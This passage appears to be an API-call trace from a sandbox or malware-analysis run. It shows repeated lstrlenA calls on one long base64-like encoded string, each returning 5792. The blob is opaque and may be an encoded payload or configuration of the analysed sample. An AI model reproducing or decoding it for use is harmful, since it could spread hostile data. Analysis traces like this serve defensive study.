(lpString="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") returned 5792 [0042.885] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.885] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/